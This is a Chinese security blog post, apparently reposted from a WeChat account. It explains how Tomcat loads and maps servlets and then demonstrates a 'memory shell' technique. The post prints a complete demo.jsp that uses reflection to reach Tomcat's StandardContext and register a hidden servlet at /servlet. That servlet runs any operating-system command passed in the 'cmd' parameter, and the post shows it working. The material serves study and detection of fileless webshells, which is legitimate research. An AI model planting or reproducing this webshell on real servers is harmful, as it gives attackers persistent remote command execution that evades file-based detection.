【Java内存马】Tomcat之Servlet内存马分析

admin 2023年5月1日03:16:23评论46 views字数 4233阅读14分6秒阅读模式

Tomcat处理请求和响应流程:

【Java内存马】Tomcat之Servlet内存马分析

  • 什么是servlet

Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。

  • 请求的处理过程

1)客户端发起一个http请求,比如get类型。
2)Servlet容器接收到请求,根据请求信息,封装成HttpServletRequest和HttpServletResponse对象。
3)Servlet容器调用HttpServlet的init()方法,init()方法只在第一次请求的时候被调用。
4)Servlet容器调用service()方法。
5)service()方法根据请求类型,这里是get类型,分别调用doGet或者doPost方法,这里调用doGet方法。
6)doXXX方法中是我们自己写的业务逻辑。
7)业务逻辑处理完成之后,返回给Servlet容器,然后容器将结果返回给客户端。
8)容器关闭时候,会调用destroy()方法。

  • servlet生命周期

1)服务器启动时(web.xml中配置load-on-startup=1,默认为0)或者第一次请求该Servlet时,就会初始化一个Servlet对象,也就是会执行初始化方法init(ServletConfig conf)。

2)Servlet对象去处理所有客户端请求,在service(ServletRequest req,ServletResponse res)方法中执行。

3)服务器关闭时,销毁这个Servlet对象,执行destroy()方法。

4)由JVM进行垃圾回收。

  • servlet测试实例

配置web.xml文件:

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0"
meta
>
<!--注册Servlet-->
<servlet>
<servlet-name>hello</servlet-name>
<servlet-class>com.zack.testServlet</servlet-class>
</servlet>
<!--Servlet的请求路径-->
<servlet-mapping>
<servlet-name>hello</servlet-name>
<url-pattern>/hello</url-pattern>
</servlet-mapping>
</web-app>

创建测试类testServlet.java文件:

package com.zack;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

public class testServlet extends HttpServlet {

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().write("Servlet Test");
}

protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}

}

访问测试,看到可以正常解析Servlet:

【Java内存马】Tomcat之Servlet内存马分析

1. 分析Servlet生成

(1)在ContextConfig类的webConfig()方法里读取网站web.xml配置文件信息

【Java内存马】Tomcat之Servlet内存马分析

【Java内存马】Tomcat之Servlet内存马分析

(2)跟进configureContext()方法里看到遍历web.xml中的内容,将内容赋给新创建的wrapper

【Java内存马】Tomcat之Servlet内存马分析

【Java内存马】Tomcat之Servlet内存马分析

(3)跟进StandardWrapper类的setServletClass()方法,看到类赋值操作

【Java内存马】Tomcat之Servlet内存马分析

(4)回到ContextConfig类的configureContext()方法wrapper添加到context中,在1018行看到添加映射关系,将url路径和servlet类做映射

【Java内存马】Tomcat之Servlet内存马分析

【Java内存马】Tomcat之Servlet内存马分析

(5)来到StandardContext类的startInternal()方法,判断this.findChildren()为true后开始加载servlet

【Java内存马】Tomcat之Servlet内存马分析

【Java内存马】Tomcat之Servlet内存马分析

(6)跟进来到loadOnStartup()方法,在2934行判断loadOnStartup变量是否大于或等于0,如果是就将wrapper添加进list数组中

【Java内存马】Tomcat之Servlet内存马分析

StandardWrapper类中的loadOnStartup变量值默认为-1

【Java内存马】Tomcat之Servlet内存马分析

在servlet的配置当中<load-on-startup>1</load-on-startup>的含义是:

  • 标记容器是否在启动的时候就加载这个servlet

  • 当值为0或者大于0时,表示容器在应用启动时就加载这个servlet

  • 当是一个负数时或者没有指定时,则指示容器在该servlet被选择时才加载

  • 正数的值越小,启动该servlet的优先级越高

我们要注入内存马,因为没有配置xml所以在应用启动时不会加载servlet,因此需要把优先级调至1,让自己写的servlet可以被加载。

(7)最后在loadOnStartup()方法的2950行和2956行加载遍历list数组中的wrapper

【Java内存马】Tomcat之Servlet内存马分析


2. Servlet内存马实践

在网站根目录创建demo.jsp内存马生成文件:

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>$Title$</title>
</head>
<body>
<%
HttpServlet httpServlet = new HttpServlet() {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
BufferedInputStream bis = new BufferedInputStream(is);
int len;
while ((len = bis.read())!=-1){
resp.getWriter().write(len);
}
}

@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
};

//获得StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext stdcontext = (StandardContext) req.getContext();

//从StandardContext.createWapper()获得一个Wapper对象
Wrapper newWrapper = stdcontext.createWrapper();
String name = httpServlet.getClass().getSimpleName();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(httpServlet);
newWrapper.setServletClass(httpServlet.getClass().getName());
//将Wrapper添加到StandardContext
stdcontext.addChild(newWrapper);
stdcontext.addServletMappingDecoded("/servlet", name);
%>
Servlet内存马写入完成!
</body>
</html>

启动服务,访问demo.jsp页面生成servlet内存马:

【Java内存马】Tomcat之Servlet内存马分析

访问/servlet路径看到可以正常调用内存马执行系统命令:

【Java内存马】Tomcat之Servlet内存马分析


原文始发于微信公众号(ZackSecurity):【Java内存马】Tomcat之Servlet内存马分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月1日03:16:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Java内存马】Tomcat之Servlet内存马分析https://cn-sec.com/archives/1701812.html

发表评论

匿名网友 填写信息